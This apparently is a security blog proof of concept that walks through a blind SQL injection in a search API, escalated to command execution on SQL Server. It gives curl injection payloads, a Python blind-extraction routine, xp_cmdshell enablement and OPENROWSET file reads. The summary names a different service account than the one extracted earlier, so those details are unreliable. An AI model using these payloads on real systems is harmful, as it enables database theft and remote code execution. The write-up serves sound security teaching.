Complete Exploitation Chain & Proof of Concept
Executive Summary
This technical blog documents a CRITICAL Boolean-based blind SQL injection vulnerability discovered in a web application’s search API. Through careful exploitation, we demonstrate a complete attack chain from initial vulnerability detection through remote code execution (RCE) with sysadmin privileges.
Severity: CVSS 9.8 (CRITICAL)
Attack Type: SQL Injection → Privilege Escalation → RCE
Impact: Complete database compromise, system command execution, data exfiltration
Phase 1: Initial Reconnaissance & Vulnerability Detection
Step 1: Baseline Testing
Before attempting any exploitation, we establish a baseline by querying the vulnerable search endpoint with legitimate input.
curl -s “http://target/api/orders/search?search=Acme”
Response: Returns 1 result matching “A…p”
Step 2: Boolean Condition Testing
We inject a SQL condition that evaluates to TRUE using URL-encoded single quote injection:
curl -s “http://target/api/orders/search?search=x%27%20OR%201=1%20--%20"
Response: Returns 3 results (all records in database)
Step 3: False Condition Testing
We test the inverse condition to confirm the boolean oracle works correctly:
curl -s “http://target/api/orders/search?search=x%27%20OR%201=2%20--%20"
Response: Returns 0 results
Why this confirms blind SQLi:
`OR 1=2` is always FALSE
TRUE condition: 315 bytes, 3 records returned
FALSE condition: 75 bytes, 0 records returned.
240-byte delta = reliable content-length oracle for data extraction
Different response sizes allow character-by-character extraction
Enter fullscreen mode Exit fullscreen mode
Phase 2: Privilege Enumeration
Step 4: Extract Database Metadata
CHARACTER-BY-CHARACTER EXTRACTION (CORE BLIND SQLi)
...
def _extract_char(self, query: str, pos: int) -> str:
"""
Binary-search for a single character at position 'pos'
Uses UNICODE() to convert character to ASCII value (1-65535)
Then narrows down using binary search (fast extraction)
"""
lo, hi = 1, 0xFFFF # Start: ASCII range 1 to 65535
while lo < hi:
mid = (lo + hi) // 2 # Calculate midpoint
# Create SQLi condition: UNICODE(char) > midpoint?
# If TRUE: character is in upper half, search higher
# If FALSE: character is in lower half, search lower
if self.oracle(f"UNICODE(SUBSTRING(({query}),{pos},1)) > {mid}"):
lo = mid + 1 # Character is > mid, search upper half
else:
hi = mid # Character is <= mid, search lower half
return chr(lo) # Convert final ASCII value back to character
Enter fullscreen mode Exit fullscreen mode
...
We enumerate the database to understand the environment:
python3 sqli.py — query “DB_NAME()”
Output: O…ment
python3 sqli.py — query “@@version”
Output: Microsoft SQL Server 2025 (RTM) — 17.0.1000.7 (X64) \n\tOct 21 2025 12:05:57 \n\tCopyright © 2025 Microsoft Corporation\n\tExpress Edition (64-bit) on Windows 10 Pro 10.0 <X64> (Build 26200: ) (Hypervisor)
python3 sqli.py - query "@@SERVERNAME"
Output: A…RESS
Why enumerate before RCE:
Understand target environment
Confirm SQL Server version
Identify service account context
Plan command execution strategy
Verify xp_cmdshell availability
Enter fullscreen mode Exit fullscreen mode
Step 5: Sysadmin Privilege Check
Before attempting command execution, we verify the current SQL Server user has administrative privileges:
curl -s “http://target/api/orders/search?search=x%27%20OR%20IS_SRVROLEMEMBER%28%27sysadmin%27%29%3D1%20--%20" | wc -c
Response: 315 bytes (TRUE)
Why this check is critical:
`IS_SRVROLEMEMBER(‘sysadmin’)=1` checks if user is sysadmin
- TRUE response (315 bytes) = user has sysadmin privileges
- Without sysadmin, xp_cmdshell operations will fail
- This determines if we can proceed with RCE phase
Enter fullscreen mode Exit fullscreen mode
Phase 3: Command Execution & Data Exfiltration
Step 6: Enable xp_cmdshell (Via SQLi Injection)
We enable xp_cmdshell remotely using stacked SQL injection commands through curl:
Step 1: Enable advanced options via SQLi
Step 2: Enable xp_cmdshell via SQLi
Step 3: Verify enabled via blind SQLi
curl -s "http://target/api/orders/search?search=x%27%20OR%20%28SELECT%20value_in_use%20FROM%20sys.configurations%20WHERE%20name%3D%27xp_cmdshell%27%29%3D1%20--%20" | wc -c
Response changed from 75 bytes (disabled) to 315 bytes (enabled)
Why this stacked SQLi approach works:
x') closes the WHERE clause context
Stacked queries execute multiple SQL statements in sequence via HTTP
EXEC sp_configure commands run with sysadmin privileges
No direct database access needed — all done remotely via curl
Response size oracle confirms success (315 bytes = TRUE = enabled)
show advanced options must be enabled first (security gate)
xp_cmdshell is disabled by default (security hardening)
RECONFIGURE applies changes immediately through SQLi
Enter fullscreen mode Exit fullscreen mode
Step 7: Execute System Commands (Via SQLi)
Commands are executed entirely through SQL injection, no direct shell access:
Execute whoami and save output to accessible file
Command breakdown:
x') closes the WHERE clause from the vulnerable search parameter
EXEC xp_cmdshell executes OS command via SQL Server extended stored procedure
Full paths to executables (C:\Windows\System32\whoami.exe) ensure they execute
> redirects command output to file on server filesystem
-- comments out remaining query
All execution happens remotely through HTTP requests only
Enter fullscreen mode Exit fullscreen mode
Why command redirection to file is critical:
xp_cmdshell output cannot be directly returned via HTTP response
Redirecting to file (> C:\SQLData\filename.txt) saves output for extraction
File must be in directory with SQL Server write permissions
File content retrieved in next step via OPENROWSET SQLi
Commands run with SQL Server service account privileges (NT AUTHORITY\NETWORK SERVICE)
No interactive shell needed — output captured and exfiltrated
Enter fullscreen mode Exit fullscreen mode
Step 8: Extract Command Output (Via Blind SQLi)
File contents are read back using OPENROWSET and character-by-character blind extraction:
bash
python3 sqli.py --query "SELECT CAST(BulkColumn AS VARCHAR(MAX)) FROM OPENROWSET(BULK 'C:\SQLData\whoami.txt', SINGLE_CLOB) AS x(BulkColumn)"
Final extracted data: nt service\mssqlexpress\n
Output extracted via binary search:
[1/29] 'n' resp= 315 bytes n
[2/29] 't' resp= 315 bytes nt
[3/29] '\' resp= 315 bytes nt\
...
[29/29] '\n' resp= 315 bytes nt service\mssqlexpress\n
Why OPENROWSET extraction works:
OPENROWSET(BULK ...) reads file contents into SQL result set
SINGLE_CLOB treats entire file as one text column
SQL query result can be extracted via blind SQLi oracle
Binary search finds each character’s ASCII value using UNICODE()
Response size (315 bytes = TRUE, 75 bytes = FALSE) indicates correct character
Character-by-character extraction bypasses output restrictions
Works entirely remotely through HTTP requests
Enter fullscreen mode Exit fullscreen mode
Key Achievement: 100% Remote Attack
No direct database access needed
No shell access to server required
Entire attack chain through HTTP requests only
Sysadmin privileges escalated via SQLi
System commands executed and output exfiltrated via database queries
Enter fullscreen mode Exit fullscreen mode
Complete Attack Chain Summary
Initial Reconnaissance
└─ Baseline query: search=Acme → 1 resultVulnerability Detection
├─ Boolean TRUE: x' OR 1=1 -- → 3 results (315 bytes)
├─ Boolean FALSE: x' OR 1=2 -- → 0 results (75 bytes)
└─ Oracle delta: 240 bytes ✓Privilege Enumeration
├─ IS_SRVROLEMEMBER('sysadmin')=1 → TRUE ✓
└─ Confirmed: User has admin privilegesEnable Command Execution
├─ sp_configure 'show advanced options', 1
├─ sp_configure 'xp_cmdshell', 1
└─ Verified: xp_cmdshell now enabled (315 bytes)Remote Code Execution
├─ EXEC xp_cmdshell 'whoami.exe > C:\SQLData\whoami.txt'
├─ EXEC xp_cmdshell 'hostname.exe > C:\SQLData\hostname.txt'└─ EXEC xp_cmdshell 'ipconfig.exe > C:\SQLData\ipconfig.txt'
Data Exfiltration
├─ SELECT ... FROM OPENROWSET(BULK 'C:\SQLData\whoami.txt', ...)
├─ Binary-search character extraction
└─ Output: NT AUTHORITY\NETWORK SERVICE
Conclusion
This proof of concept demonstrates how a seemingly simple SQL injection vulnerability can escalate to complete system compromise when combined with:
Boolean-based data extraction techniques
Privileged SQL Server accounts
Enabled dangerous features (xp_cmdshell)
File access capabilities (OPENROWSET)
Enter fullscreen mode Exit fullscreen mode
The attack chain is entirely database-driven, requiring only HTTP access to the vulnerable API and no direct command-line access. This highlights the critical importance of secure coding practices, particularly parameterized queries and privilege minimization in database applications.
Disclaimer: This POC is for authorized security testing only. Unauthorized access to computer systems is illegal.
Authors
Abdulrahman Aldossary, Saleh Alghmdi
Date: July 30, 2026
Classification: Security Research
0 Comments
Log in to join the conversation.No comments yet. Be the first to share your thoughts.